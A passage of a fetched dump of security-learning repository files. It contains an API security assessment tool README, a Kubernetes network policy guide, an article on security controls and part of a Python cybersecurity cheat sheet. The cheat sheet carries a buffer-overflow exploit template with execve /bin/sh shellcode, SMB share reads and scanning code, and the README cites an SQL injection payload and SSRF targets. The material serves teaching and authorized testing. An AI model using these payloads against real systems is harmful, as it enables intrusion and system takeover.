request throttling \n✅ **Information Disclosure** - Error handling, header exposure, verbose messages \n✅ **Management Endpoints** - Admin interface exposure, debug endpoints \n✅ **CORS Configuration** - Cross-Origin Resource Sharing security \n✅ **Automated Reporting** - JSON export, severity classification, remediation guidance\n\n## Installation\n\n```bash\n# Install dependencies\npip install requests pyjwt\n\n# Make script executable (optional)\nchmod +x api_security_assessment.py\n```\n\n## Quick Start\n\n### Basic Usage\n\n```bash\n# Test an API\npython api_security_assessment.py --url https://api.example.com\n\n# Test with authentication token\npython api_security_assessment.py --url https://api.example.com --token \"Bearer your-token-here\"\n\n# Test specific endpoints\npython api_security_assessment.py \\\n --url https://api.example.com \\\n --endpoints /api/users,/api/data,/api/search\n```\n\n### Advanced Usage\n\n```bash\n# Test with custom thread count\npython api_security_assessment.py \\\n --url https://api.example.com \\\n --token \"your-jwt-token\" \\\n --endpoints /api/v1/users,/api/v1/products \\\n --threads 20\n\n# Output results in JSON format\npython api_security_assessment.py \\\n --url https://api.example.com \\\n --output json\n```\n\n### Programmatic Usage\n\n```python\nfrom api_security_assessment import APISecurityAssessment\n\n# Configure your API\nAPI_URL = \"https://your-api.com\"\nAUTH_TOKEN = \"your-jwt-token\" # Optional\n\n# Define endpoints to test\nTEST_ENDPOINTS = [\n \"/api/v1/users\",\n \"/api/v1/products\", \n \"/api/v1/orders\"\n]\n\n# Run full assessment\nassessor = APISecurityAssessment(API_URL, AUTH_TOKEN)\nassessor.run_full_assessment(TEST_ENDPOINTS)\n```\n\n### Custom Testing\n\n```python\n# Test specific security domains\nassessor = APISecurityAssessment(API_URL, AUTH_TOKEN)\n\n# Test only TLS configuration\nassessor.test_tls_security()\n\n# Test only authentication\nassessor.test_authentication()\n\n# Test authorization on specific endpoints\nassessor.test_authorization([\"/api/admin\", \"/api/settings\"])\n\n# Test for SQL injection\nassessor.test_input_validation([\"/api/search\"])\n\n# Test for SSRF\nassessor.test_ssrf([\"/api/webhook\"])\n\n# Test rate limiting\nassessor.test_rate_limiting(\"/api/data\")\n\n# Test information disclosure\nassessor.test_information_disclosure()\n\n# Test management endpoints\nassessor.test_management_endpoints()\n\n# Test CORS configuration\nassessor.test_cors_configuration()\n\n# Generate report\nassessor.generate_report()\n```\n\n## Example Output\n\n```\n============================================================\nAPI Security Assessment: https://api.example.com\n============================================================\n\n=== Testing TLS Security ===\n[MEDIUM] Missing HSTS Header\n\n=== Testing Authentication ===\n Token algorithm: RS256\n Token lifetime: 2.0 hours\n[MEDIUM] Long JWT Lifetime\n\n=== Testing Authorization ===\n /api/users: Protected (401)\n /api/data: Protected (401)\n\n=== Testing Input Validation ===\n[CRITICAL] SQL Injection in /api/search\n\n=== Testing SSRF Protection ===\n\n=== Testing Rate Limiting ===\n Sending 120 requests to test rate limiting...\n Rate limiting detected: 100 successful, 20 rate-limited\n\n=== Testing Information Disclosure ===\n[LOW] Header Exposure: Server\n\n=== Testing Management Endpoints ===\n[HIGH] Exposed Management Endpoint: /swagger\n\n=== Testing CORS Configuration ===\n[MEDIUM] Permissive CORS Policy\n\n============================================================\nASSESSMENT SUMMARY\n============================================================\n\nTotal Findings: 5\n 🔴 CRITICAL: 1\n 🟠 HIGH: 1\n 🟡 MEDIUM: 3\n 🟢 LOW: 1\n\n============================================================\nDETAILED FINDINGS\n============================================================\n\n1. [CRITICAL] SQL Injection in /api/search\n Category: Input Validation\n Description: Endpoint vulnerable to SQL injection\n Evidence: Payload: ' OR '1'='1, Response contains SQL error\n Remediation: Use parameterized queries and prepared statements\n\n2. [HIGH] Exposed Management Endpoint: /swagger\n Category: Management Endpoints\n Description: Management or admin endpoint accessible without restrictions\n Evidence: Status: 200, Size: 15234 bytes\n Remediation: Restrict access to management endpoints via network controls\n\n...\n\nReport saved to: api_security_assessment_20251116_143022.json\n```\n\n## Security Domains Tested\n\n### 1. Transport & TLS Security\n\n- HTTPS enforcement\n- HTTP to HTTPS redirect\n- HSTS header presence\n- TLS version and cipher strength\n- Certificate validation\n\n### 2. Authentication\n\n- JWT algorithm validation\n- Token signature strength (RS256/ES256 vs HS256/none)\n- Token lifetime validation\n- Token expiration handling\n- Claim validation (iss, aud, exp, nbf, iat)\n\n### 3. Authorization\n\n- Unauthenticated access attempts\n- IDOR (Insecure Direct Object Reference)\n- Privilege escalation testing\n- Mass assignment vulnerabilities\n- Resource-level access control\n\n### 4. Input Validation\n\n- SQL injection testing\n- NoSQL injection testing\n- Command injection testing\n- LDAP injection testing\n- Schema validation\n\n### 5. SSRF Prevention\n\n- Internal network access (localhost, 127.0.0.1, private IPs)\n- Cloud metadata endpoints (AWS, GCP, Azure)\n- File protocol access (file://)\n- Protocol validation (gopher://, dict://, ftp://)\n- DNS rebinding protection\n\n### 6. Rate Limiting & DoS\n\n- Request rate limits per IP\n- Request rate limits per user\n- Burst protection\n- Request size limits\n- Timeout enforcement\n\n### 7. Information Disclosure\n\n- Verbose error messages\n- Stack traces in responses\n- Server header exposure\n- Framework version disclosure\n- Debug information leakage\n\n### 8. Management Endpoints\n\n- Admin panel exposure\n- Debug endpoints\n- Health check endpoints\n- Metrics endpoints\n- API documentation exposure\n- Database admin tools\n\n### 9. CORS Configuration\n\n- Wildcard origin policies\n- Credential handling\n- Origin reflection vulnerabilities\n- Method restrictions\n- Header restrictions\n\n## Command Line Options\n\n```\nusage: api_security_assessment.py [-h] --url URL [--token TOKEN] \n [--endpoints ENDPOINTS] [--output {json,text}]\n [--threads THREADS]\n\nComprehensive API Security Assessment Tool\n\noptions:\n -h, --help show this help message and exit\n --url URL Base URL of the API to assess (e.g., https://api.example.com)\n --token TOKEN Authentication token (JWT or Bearer token)\n --endpoints ENDPOINTS Comma-separated list of endpoints to test (e.g., /api/users,/api/data)\n --output {json,text} Output format (json, text). Default: text\n --threads THREADS Number of threads for concurrent testing (default: 10)\n```\n\n## Security Considerations\n\n### Responsible Testing\n\n- Only test APIs you own or have explicit permission to test\n- Be mindful of rate limiting and server load\n- Use test environments when possible\n- Follow responsible disclosure for any vulnerabilities found\n\n### Limitations\n\n- This tool performs automated testing and may not catch all vulnerabilities\n- Manual security testing and code review are still recommended\n- Some tests may produce false positives that require manual verification\n- Business logic flaws require manual analysis\n\n### Best Practices\n\n1. **Regular Testing**: Run assessments regularly as part of your CI/CD pipeline\n2. **Comprehensive Coverage**: Test all API endpoints, not just public ones\n3. **Environment Isolation**: Use dedicated test environments\n4. **Remediation Tracking**: Track and verify fixes for identified issues\n5. **Documentation**: Maintain security testing documentation\n\n## Integration Examples\n\n### CI/CD Pipeline Integration\n\n```yaml\n# GitHub Actions example\nname: API Security Assessment\non: [push, pull_request]\n\njobs:\n security-test:\n runs-on: ubuntu-latest\n steps:\n - uses: actions/checkout@v2\n - name: Setup Python\n uses: actions/setup-python@v2\n with:\n python-version: '3.9'\n - name: Install dependencies\n run: |\n pip install requests pyjwt\n - name: Run API Security Assessment\n run: |\n python api_security_assessment.py \\\n --url ${{ secrets.API_URL }} \\\n --token ${{ secrets.API_TOKEN }} \\\n --output json\n```\n\n### Docker Integration\n\n```dockerfile\nFROM python:3.9-slim\n\nWORKDIR /app\nCOPY api_security_assessment.py .\nRUN pip install requests pyjwt\n\nENTRYPOINT [\"python\", \"api_security_assessment.py\"]\n```\n\n```bash\n# Build and run\ndocker build -t api-security-tool .\ndocker run api-security-tool --url https://api.example.com\n```\n\n## Contributing\n\nContributions are welcome! Please feel free to submit pull requests or open issues for:\n\n- Additional security test cases\n- New vulnerability detection methods\n- Performance improvements\n- Documentation enhancements\n- Bug fixes\n\n## License\n\nThis tool is part of the [h4cker repository](https://github.com/The-Art-of-Hacking/h4cker) and is licensed under the MIT License.\n\n## Author\n\nCreated by [Omar Santos](https://omarsantos.io) as part of the h4cker cybersecurity learning resources.\n\n## Disclaimer\n\nThis tool is for educational and authorized testing purposes only. Users are responsible for ensuring they have proper authorization before testing any systems. The authors are not responsible for any misuse of this tool.\n","fetch_note":"","rate":{"github_remaining":"","github_reset":"","github_resource":"","retry_after":"","request_id":"A67E:11E74B:17359F:5C444C:6AB9203E"},"text_sha256":"63e22b194e096e425f179245d5a6c78c0e47b57921b64bbf8f62f4c926789d95"},{"path":"cybersecurity-domains/application-security/web-application-testing/requirements_api_security.txt","size":330,"blob_sha":"e5ed6a278c917ed012f3275d23c42a98b8d88961","priority":1,"status":200,"text":"# API Security Assessment Tool Requirements\n# Install with: pip install -r requirements_api_security.txt\n\n# Core dependencies\nrequests>=2.28.0\nPyJWT>=2.6.0\n\n# Optional dependencies for enhanced functionality\nurllib3>=1.26.0\ncertifi>=2022.12.7\n\n# Development dependencies (optional)\n# pytest>=7.0.0\n# black>=22.0.0\n# flake8>=5.0.0\n","fetch_note":"","rate":{"github_remaining":"","github_reset":"","github_resource":"","retry_after":"","request_id":"957E:09BF:AAD24:2C60D0:6AB9203E"},"text_sha256":"0cfd1e98049e1ac6e1d77c08bba5874c9ed612d7c97089d2f26d79149a556499"},{"path":"cybersecurity-domains/cloud-container-security/docker-and-k8s-security/kubernetes/network-policy-example.md","size":7585,"blob_sha":"e5ebf237fec252b5dd572f0d5c39928f6c7087a5","priority":1,"status":200,"text":"# Example of a Network Policy in Kubernetes\nIn this example, we have created a network policy named `my-network-policy` that applies to pods with the label `app: my-app`.\n\n```yaml\napiVersion: networking.k8s.io/v1\nkind: NetworkPolicy\nmetadata:\n name: my-network-policy\nspec:\n podSelector:\n matchLabels:\n app: my-app\n policyTypes:\n - Ingress\n - Egress\n ingress:\n - from:\n - podSelector:\n matchLabels:\n role: backend\n - ipBlock:\n cidr: 10.0.0.0/24\n - ports:\n - protocol: TCP\n port: 80\n egress:\n - to:\n - podSelector:\n matchLabels:\n role: database\n```\n\n\nThe policy has the following rules:\n\n- `Ingress`: Incoming traffic rules\n - Allow traffic from pods with the label `role: backend`\n - Allow traffic from the IP block `10.0.0.0/24`\n - Allow incoming TCP traffic on port 80\n\n- `Egress`: Outgoing traffic rules\n - Allow outgoing traffic to pods with the label `role: database`\n\nThis network policy restricts incoming and outgoing traffic for pods with the label `app: my-app`. It only allows incoming traffic from pods with the label `role: backend` and from the specified IP block. It also permits outgoing traffic to pods with the label `role: database`. All other incoming and outgoing traffic is denied by default.\n\nTo apply this network policy, you can save it in a YAML file (e.g., `network-policy.yaml`) and use the `kubectl apply` command:\n\n```shell\nkubectl apply -f network-policy.yaml\n```\n\nOnce applied, the network policy takes effect, and the defined rules govern the traffic flow to and from pods based on the specified selectors and policies.\n\nIt's important to note that for network policies to take effect, the Kubernetes cluster must have a network plugin that supports network policy enforcement, such as Calico or Cilium. Additionally, make sure to evaluate and test your network policies thoroughly to ensure they align with your desired network segmentation and security requirements.\n\n## Comparing Calico and Cilium\n\nCalico and Cilium are both popular network plugins for Kubernetes that offer advanced networking and security capabilities. Calico utilizes a pure Layer 3 approach with BGP routing, providing robust network policy support, distributed firewalling, and scalability for large-scale deployments. It integrates seamlessly with Kubernetes, making it an excellent choice for managing network policies and enforcing security controls. On the other hand, Cilium combines Layer 3 and Layer 4/Layer 7 proxy-based networking and policy enforcement. It offers advanced features such as deep packet inspection, identity-based access controls, and application-layer security. Cilium also provides built-in service mesh functionality, including support for Envoy and Istio. With high scalability, performance, and observability features, Calico and Cilium offer reliable solutions for managing network connectivity, security, and observability within Kubernetes clusters.\n\n1. Calico Documentation: [https://docs.projectcalico.org](https://docs.projectcalico.org)\n\nThe Calico documentation provides comprehensive information on getting started, installation, configuration, network policies, troubleshooting, and advanced features of Calico for Kubernetes and other platforms.\n\n2. Cilium Documentation: [https://docs.cilium.io](https://docs.cilium.io)\n\nThe Cilium documentation covers various aspects of Cilium, including installation, networking, security, observability, service mesh integration, and API reference. It provides in-depth guidance on using Cilium in Kubernetes and other environments.\n\n\n```\n+-----------------+-----------------------------------------+----------------------------------+\n| Feature | Calico | Cilium |\n+-----------------+-----------------------------------------+----------------------------------+\n| Architecture | Uses a pure Layer 3 approach with BGP | Utilizes a combination of Layer 3 |\n| | routing for networking and policy | and Layer 4/Layer 7 proxy-based |\n| | enforcement. | networking and policy. |\n+-----------------+-----------------------------------------+----------------------------------+\n| Network Policy | Provides robust network policy support | Offers advanced network policy |\n| Management | and integration with Kubernetes. | capabilities, including |\n| | | HTTP/HTTPS and gRPC-layer |\n| | | filtering and policy enforcement.|\n+-----------------+-----------------------------------------+----------------------------------+\n| Security | Implements a distributed firewall model | Offers deep packet inspection, |\n| | with ingress and egress filtering. | identity-based access controls, |\n| | | and application-layer security. |\n+-----------------+-----------------------------------------+----------------------------------+\n| Scalability | Designed to scale to thousands of | Provides high scalability and |\n| | nodes and handle large-scale deployments.| performance for large Kubernetes |\n| | | clusters and high-throughput |\n| | | workloads. |\n+-----------------+-----------------------------------------+----------------------------------+\n| Service Mesh | Can be used as a foundation for | Provides built-in service mesh |\n| Integration | integrating with service mesh solutions | functionality, including support |\n| | like Istio. | for Envoy and Istio. |\n+-----------------+-----------------------------------------+----------------------------------+\n| Performance | Offers high-performance networking and | Provides efficient packet |\n| | forwarding with low latency. | processing and low latency |\n| | | communication between containers.|\n+-----------------+-----------------------------------------+----------------------------------+\n| Observability | Provides network flow logs, network | Offers advanced observability |\n| | policy auditing, and visibility into | features, including detailed |\n| | network traffic and policies. | network flow logs, service mesh |\n| | | observability, and tracing. |\n+-----------------+-----------------------------------------+----------------------------------+\n| Community | Has a large and active community, | Has a growing community and |\n| | backed by Project Calico and Tigera. | strong industry support. |\n+-----------------+-----------------------------------------+----------------------------------+\n```\n\nPlease note that the table provides a high-level comparison and may not include all features or specific details of each product. It's important to consult the official documentation and conduct a thorough evaluation to determine the best fit for your specific networking and security requirements in Kubernetes.\n","fetch_note":"","rate":{"github_remaining":"","github_reset":"","github_resource":"","retry_after":"","request_id":"09CC:375F4:175CB7:5C6DC3:6AB92040"},"text_sha256":"665cbd253a236cf32e3ec236e2341968cbc29e2660372854c8c5b687e4585b26"},{"path":"cybersecurity-domains/fundamentals/foundational-cybersecurity-concepts/Undertanding Information Security Controls.md","size":4472,"blob_sha":"6c774dcb975768911dcea30537638b66931d4067","priority":1,"status":200,"text":"# Undertanding Information Security Controls\n\nInformation security controls are essential measures designed to protect information assets from various security threats. These controls ensure the confidentiality, integrity, and availability (CIA) of information, which are the core principles of information security.\n\n### **Types of Information Security Controls**\n\nInformation security controls can be broadly categorized into three main types: administrative, physical, and technical controls. Each type serves specific functions and addresses different aspects of security.\n\n#### **1. Administrative Controls**\n\nAdministrative controls involve the policies, procedures, and guidelines established by an organization to manage and govern its information security. These controls are crucial for setting the tone and framework for security practices within the organization.\n\n- **Examples**: Security policies, employee training programs, incident response plans, and access control policies.\n- **Functions**: These controls help in managing security risks, ensuring compliance with regulations, and fostering a security-conscious culture within the organization \n\n#### **2. Physical Controls**\n\nPhysical controls are measures taken to protect the physical infrastructure and hardware that store and process information. These controls are designed to prevent unauthorized physical access to facilities and equipment.\n\n- **Examples**: Security guards, surveillance cameras, locks, biometric access controls, and secure server rooms.\n- **Functions**: These controls aim to deter, detect, and prevent physical intrusions that could compromise information security \n\n#### **3. Technical Controls**\n\nTechnical controls, also known as logical controls, involve the use of technology to protect information systems and data. These controls are implemented through hardware and software solutions.\n\n- **Examples**: Firewalls, antivirus software, encryption, intrusion detection systems, and multi-factor authentication.\n- **Functions**: These controls help in preventing, detecting, and responding to cyber threats and vulnerabilities \n\n### **Functions of Security Controls**\n\nSecurity controls can also be classified based on their specific functions in the context of a security incident:\n\n- **Preventive Controls**: Aim to prevent security incidents from occurring. Examples include access controls, encryption, and security awareness training \n- **Detective Controls**: Designed to identify and alert security teams to ongoing or attempted security breaches. Examples include intrusion detection systems and security monitoring.\n- **Corrective Controls**: Focus on mitigating the impact of a security incident and restoring systems to normal operations. Examples include data backups and disaster recovery plans.\n- **Deterrent Controls**: Intended to discourage potential attackers from attempting to breach security. Examples include warning signs and legal penalties.\n- **Compensating Controls**: Provide alternative measures to achieve security objectives when primary controls are not feasible. Examples include additional monitoring when encryption is not possible.\n\n### **Importance of Information Security Controls**\n\nImplementing robust information security controls is critical for several reasons:\n\n- **Protection Against Unauthorized Access**: Controls help prevent unauthorized individuals from accessing sensitive information, thereby reducing the risk of data breaches\n- **Compliance with Regulations**: Many industries have strict legal requirements for data protection. Effective controls ensure compliance with regulations such as GDPR and HIPAA\n- **Safeguarding Intellectual Property**: Controls protect valuable intellectual property from theft or unauthorized access, preserving competitive advantage and financial stability\n- **Maintaining Customer Trust**: By protecting customer data, organizations can build and maintain trust and loyalty, which are essential for long-term success\n- **Ensuring Business Continuity**: Controls help in maintaining operations during and after a security incident, minimizing downtime and financial loss\n\n\n### Resources:\n- https://reciprocity.com/resources/what-are-information-security-controls/\n- https://en.wikipedia.org/wiki/Security_controls\n- https://www.bitsight.com/glossary/information-security-controls\n- https://www.infosectrain.com/blog/types-of-security-controls/\n- https://purplesec.us/security-controls/\n","fetch_note":"","rate":{"github_remaining":"","github_reset":"","github_resource":"","retry_after":"","request_id":"B702:3AC5A:177BDF:5C8B82:6AB92040"},"text_sha256":"7bf490b74563c3f19860997867fbd51d3467358cee365dc8afc29112908bda9f"},{"path":"training-reference/cheat-sheets/scripting/python-security.md","size":15760,"blob_sha":"4dbfb332593c173203928717dc97bd1811e140e9","priority":1,"status":200,"text":"# Python for Cybersecurity Cheat Sheet\n\nPython is one of the most popular programming languages for cybersecurity automation, scripting, and tool development.\n\n## 📋 Table of Contents\n- [Basic Python](#basic-python)\n- [Networking](#networking)\n- [Web Scraping](#web-scraping)\n- [File Operations](#file-operations)\n- [Cryptography](#cryptography)\n- [System Operations](#system-operations)\n- [Security Libraries](#security-libraries)\n- [Exploit Development](#exploit-development)\n- [Automation Scripts](#automation-scripts)\n\n## Basic Python\n\n### Data Types and Variables\n\n```python\n# Variables\nname = \"hacker\"\nage = 25\nis_admin = True\n\n# Lists\nports = [21, 22, 80, 443]\nports.append(8080)\nports.remove(21)\nprint(ports[0]) # First element\n\n# Dictionaries\nservice_info = {\"port\": 80, \"service\": \"http\", \"state\": \"open\"}\nprint(service_info[\"port\"])\nservice_info[\"version\"] = \"Apache 2.4\"\n\n# Sets\nunique_ips = {\" 192.168.1.1\", \"192.168.1.2\"}\nunique_ips.add(\"192.168.1.3\")\n\n# Tuples (immutable)\ncredentials = (\"admin\", \"password123\")\n```\n\n### Control Flow\n\n```python\n# If statements\nif port == 80:\n print(\"HTTP\")\nelif port == 443:\n print(\"HTTPS\")\nelse:\n print(\"Unknown\")\n\n# For loops\nfor port in [21, 22, 80, 443]:\n print(f\"Scanning port {port}\")\n\n# While loops\nattempts = 0\nwhile attempts < 3:\n # Try authentication\n attempts += 1\n\n# List comprehensions\nopen_ports = [p for p in range(1, 1025) if scan_port(p)]\n```\n\n### Functions\n\n```python\n# Basic function\ndef port_scan(host, port):\n \"\"\"Scan a port on a host\"\"\"\n # Implementation\n return result\n\n# Function with default arguments\ndef scan(host, ports=[80, 443], timeout=5):\n # Implementation\n pass\n\n# Lambda functions\nsquare = lambda x: x ** 2\nfiltered_ports = filter(lambda p: p > 1024, port_list)\n```\n\n### Exception Handling\n\n```python\ntry:\n response = urllib.request.urlopen(url)\nexcept urllib.error.URLError as e:\n print(f\"Error: {e}\")\nexcept Exception as e:\n print(f\"Unexpected error: {e}\")\nfinally:\n # Cleanup code\n pass\n```\n\n## Networking\n\n### Socket Programming\n\n```python\nimport socket\n\n# TCP client\ndef tcp_client(host, port):\n client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n client.connect((host, port))\n client.send(b\"GET / HTTP/1.1\\r\\nHost: example.com\\r\\n\\r\\n\")\n response = client.recv(4096)\n client.close()\n return response\n\n# TCP server\ndef tcp_server(host, port):\n server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n server.bind((host, port))\n server.listen(5)\n print(f\"[*] Listening on {host}:{port}\")\n \n while True:\n client, addr = server.accept()\n print(f\"[*] Connection from {addr[0]}:{addr[1]}\")\n client.send(b\"Welcome!\\n\")\n client.close()\n\n# UDP socket\ndef udp_client(host, port):\n client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n client.sendto(b\"data\", (host, port))\n data, addr = client.recvfrom(4096)\n return data\n\n# Port scanner\ndef port_scan(host, port):\n try:\n sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n sock.settimeout(1)\n result = sock.connect_ex((host, port))\n sock.close()\n return result == 0 # True if port is open\n except:\n return False\n\n# Banner grabbing\ndef grab_banner(host, port):\n try:\n sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n sock.settimeout(5)\n sock.connect((host, port))\n sock.send(b\"\\n\")\n banner = sock.recv(1024)\n sock.close()\n return banner.decode()\n except:\n return None\n```\n\n### HTTP Requests\n\n```python\nimport requests\n\n# GET request\nresponse = requests.get(\"https://example.com\")\nprint(response.status_code)\nprint(response.headers)\nprint(response.text)\n\n# POST request\ndata = {\"username\": \"admin\", \"password\": \"test\"}\nresponse = requests.post(\"https://example.com/login\", data=data)\n\n# Custom headers\nheaders = {\"User-Agent\": \"Mozilla/5.0\"}\nresponse = requests.get(\"https://example.com\", headers=headers)\n\n# Session management\nsession = requests.Session()\nsession.get(\"https://example.com/login\")\nsession.post(\"https://example.com/auth\", data=credentials)\nresponse = session.get(\"https://example.com/dashboard\")\n\n# Proxies\nproxies = {\n \"http\": \"http://127.0.0.1:8080\",\n \"https\": \"http://127.0.0.1:8080\"\n}\nresponse = requests.get(\"https://example.com\", proxies=proxies, verify=False)\n\n# Timeouts\nresponse = requests.get(\"https://example.com\", timeout=5)\n\n# API requests\napi_url = \"https://api.example.com/v1/data\"\nheaders = {\"Authorization\": \"Bearer TOKEN\"}\nresponse = requests.get(api_url, headers=headers)\ndata = response.json()\n```\n\n## Web Scraping\n\n```python\nfrom bs4 import BeautifulSoup\nimport requests\n\n# Basic scraping\nresponse = requests.get(\"https://example.com\")\nsoup = BeautifulSoup(response.text, 'html.parser')\n\n# Find elements\ntitle = soup.find('title').text\nlinks = soup.find_all('a')\nfor link in links:\n print(link.get('href'))\n\n# CSS selectors\ndivs = soup.select('div.class-name')\nids = soup.select('#element-id')\n\n# Extract data\ntable = soup.find('table')\nrows = table.find_all('tr')\nfor row in rows:\n cols = row.find_all('td')\n data = [col.text.strip() for col in cols]\n\n# Scrape with authentication\nsession = requests.Session()\nlogin_data = {\"username\": \"user\", \"password\": \"pass\"}\nsession.post(\"https://example.com/login\", data=login_data)\nresponse = session.get(\"https://example.com/protected\")\nsoup = BeautifulSoup(response.text, 'html.parser')\n```\n\n## File Operations\n\n```python\n# Read file\nwith open('file.txt', 'r') as f:\n content = f.read()\n\n# Read line by line\nwith open('file.txt', 'r') as f:\n for line in f:\n print(line.strip())\n\n# Write file\nwith open('output.txt', 'w') as f:\n f.write(\"Hello World\\n\")\n\n# Append to file\nwith open('log.txt', 'a') as f:\n f.write(\"New log entry\\n\")\n\n# Binary files\nwith open('image.jpg', 'rb') as f:\n data = f.read()\n\n# JSON\nimport json\n\n# Read JSON\nwith open('data.json', 'r') as f:\n data = json.load(f)\n\n# Write JSON\ndata = {\"name\": \"test\", \"value\": 123}\nwith open('output.json', 'w') as f:\n json.dump(data, f, indent=2)\n\n# CSV\nimport csv\n\n# Read CSV\nwith open('data.csv', 'r') as f:\n reader = csv.reader(f)\n for row in reader:\n print(row)\n\n# Write CSV\nwith open('output.csv', 'w', newline='') as f:\n writer = csv.writer(f)\n writer.writerow(['Name', 'Age'])\n writer.writerow(['Alice', 30])\n\n# XML\nimport xml.etree.ElementTree as ET\n\ntree = ET.parse('data.xml')\nroot = tree.getroot()\nfor child in root:\n print(child.tag, child.attrib)\n```\n\n## Cryptography\n\n```python\nimport hashlib\nimport hmac\nfrom cryptography.fernet import Fernet\n\n# Hashing\ndef md5_hash(data):\n return hashlib.md5(data.encode()).hexdigest()\n\ndef sha256_hash(data):\n return hashlib.sha256(data.encode()).hexdigest()\n\ndef sha512_hash(data):\n return hashlib.sha512(data.encode()).hexdigest()\n\n# HMAC\ndef create_hmac(key, message):\n return hmac.new(key.encode(), message.encode(), hashlib.sha256).hexdigest()\n\n# Symmetric encryption (Fernet)\n# Generate key\nkey = Fernet.generate_key()\n\n# Encrypt\ncipher = Fernet(key)\nencrypted = cipher.encrypt(b\"Secret message\")\n\n# Decrypt\ndecrypted = cipher.decrypt(encrypted)\n\n# Base64 encoding\nimport base64\n\nencoded = base64.b64encode(b\"data\")\ndecoded = base64.b64decode(encoded)\n\n# Password hashing\nimport bcrypt\n\n# Hash password\npassword = b\"password123\"\nsalt = bcrypt.gensalt()\nhashed = bcrypt.hashpw(password, salt)\n\n# Verify password\nif bcrypt.checkpw(password, hashed):\n print(\"Password matches\")\n```\n\n## System Operations\n\n```python\nimport os\nimport subprocess\nimport shutil\n\n# Operating system\nprint(os.name) # 'posix' or 'nt'\n\n# Current directory\nprint(os.getcwd())\n\n# Change directory\nos.chdir('/tmp')\n\n# List directory\nfiles = os.listdir('.')\n\n# File operations\nos.rename('old.txt', 'new.txt')\nos.remove('file.txt')\nos.mkdir('new_dir')\nos.rmdir('empty_dir')\n\n# Path operations\nimport os.path\n\nif os.path.exists('file.txt'):\n print(\"File exists\")\n\nif os.path.isfile('file.txt'):\n print(\"It's a file\")\n\nif os.path.isdir('directory'):\n print(\"It's a directory\")\n\n# Join paths\npath = os.path.join('directory', 'subdirectory', 'file.txt')\n\n# Get file size\nsize = os.path.getsize('file.txt')\n\n# Execute commands\nresult = subprocess.run(['ls', '-l'], capture_output=True, text=True)\nprint(result.stdout)\n\n# Execute with shell\nresult = subprocess.run('ps aux | grep python', shell=True, capture_output=True, text=True)\n\n# Copy files\nshutil.copy('source.txt', 'dest.txt')\nshutil.copytree('source_dir', 'dest_dir')\n\n# Environment variables\nhome = os.environ.get('HOME')\nos.environ['MY_VAR'] = 'value'\n```\n\n## Security Libraries\n\n### Scapy (Packet Manipulation)\n\n```python\nfrom scapy.all import *\n\n# Send ICMP packet\nsend(IP(dst=\"192.168.1.1\")/ICMP())\n\n# SYN scan\nans, unans = sr(IP(dst=\"192.168.1.1\")/TCP(dport=80, flags=\"S\"), timeout=1)\n\n# Sniff packets\npackets = sniff(count=10, filter=\"tcp port 80\")\n\n# DNS query\nresponse = sr1(IP(dst=\"8.8.8.8\")/UDP()/DNS(qd=DNSQR(qname=\"example.com\")))\n\n# ARP scan\nans, unans = srp(Ether(dst=\"ff:ff:ff:ff:ff:ff\")/ARP(pdst=\"192.168.1.0/24\"), timeout=2)\n```\n\n### Paramiko (SSH)\n\n```python\nimport paramiko\n\n# SSH client\nssh = paramiko.SSHClient()\nssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())\nssh.connect('hostname', username='user', password='pass')\n\n# Execute command\nstdin, stdout, stderr = ssh.exec_command('ls -la')\nprint(stdout.read().decode())\n\n# SFTP\nsftp = ssh.open_sftp()\nsftp.get('/remote/path/file.txt', '/local/path/file.txt')\nsftp.put('/local/path/file.txt', '/remote/path/file.txt')\nsftp.close()\n\nssh.close()\n```\n\n### Impacket (Network Protocols)\n\n```python\nfrom impacket.smbconnection import SMBConnection\n\n# SMB connection\nconn = SMBConnection('192.168.1.100', '192.168.1.100')\nconn.login('username', 'password')\n\n# List shares\nshares = conn.listShares()\nfor share in shares:\n print(share['shi1_netname'])\n\n# Read file\ntid = conn.connectTree('C$')\nfid = conn.openFile(tid, 'Windows\\\\System32\\\\drivers\\\\etc\\\\hosts')\ndata = conn.readFile(tid, fid)\nconn.close()\n```\n\n## Exploit Development\n\n### Buffer Overflow\n\n```python\nimport socket\nimport sys\n\n# Create pattern\ndef create_pattern(length):\n pattern = \"\"\n parts = [\"A\", \"B\", \"C\"]\n while len(pattern) < length:\n pattern += parts[len(pattern) % len(parts)]\n return pattern[:length]\n\n# Exploit function\ndef exploit(target, port):\n buffer = b\"A\" * 1000\n buffer += b\"\\x90\" * 16 # NOP sled\n buffer += b\"\\x41\\x42\\x43\\x44\" # Return address (little endian)\n buffer += shellcode\n \n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n s.connect((target, port))\n s.send(buffer)\n s.close()\n```\n\n### Shellcode\n\n```python\n# Linux x86 execve /bin/sh shellcode\nshellcode = (\n b\"\\x31\\xc0\" # xor eax, eax\n b\"\\x50\" # push eax\n b\"\\x68\\x2f\\x2f\\x73\\x68\" # push 0x68732f2f\n b\"\\x68\\x2f\\x62\\x69\\x6e\" # push 0x6e69622f\n b\"\\x89\\xe3\" # mov ebx, esp\n b\"\\x50\" # push eax\n b\"\\x53\" # push ebx\n b\"\\x89\\xe1\" # mov ecx, esp\n b\"\\xb0\\x0b\" # mov al, 0x0b\n b\"\\xcd\\x80\" # int 0x80\n)\n\n# Reverse shell generator\ndef generate_reverse_shell(ip, port):\n # Generate shellcode with msfvenom or custom assembly\n pass\n```\n\n## Automation Scripts\n\n### Port Scanner\n\n```python\nimport socket\nimport concurrent.futures\n\ndef scan_port(host, port):\n try:\n sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n sock.settimeout(1)\n result = sock.connect_ex((host, port))\n sock.close()\n if result == 0:\n return port, True\n return port, False\n except:\n return port, False\n\ndef scan_host(host, ports):\n open_ports = []\n with concurrent.futures.ThreadPoolExecutor(max_workers=100) as executor:\n future_to_port = {executor.submit(scan_port, host, port): port for port in ports}\n for future in concurrent.futures.as_completed(future_to_port):\n port, is_open = future.result()\n if is_open:\n open_ports.append(port)\n print(f\"[+] Port {port} is open\")\n return open_ports\n\n# Usage\nhost = \"192.168.1.1\"\nports = range(1, 1025)\nscan_host(host, ports)\n```\n\n### Subdomain Enumeration\n\n```python\nimport dns.resolver\nimport concurrent.futures\n\ndef check_subdomain(subdomain, domain):\n try:\n answers = 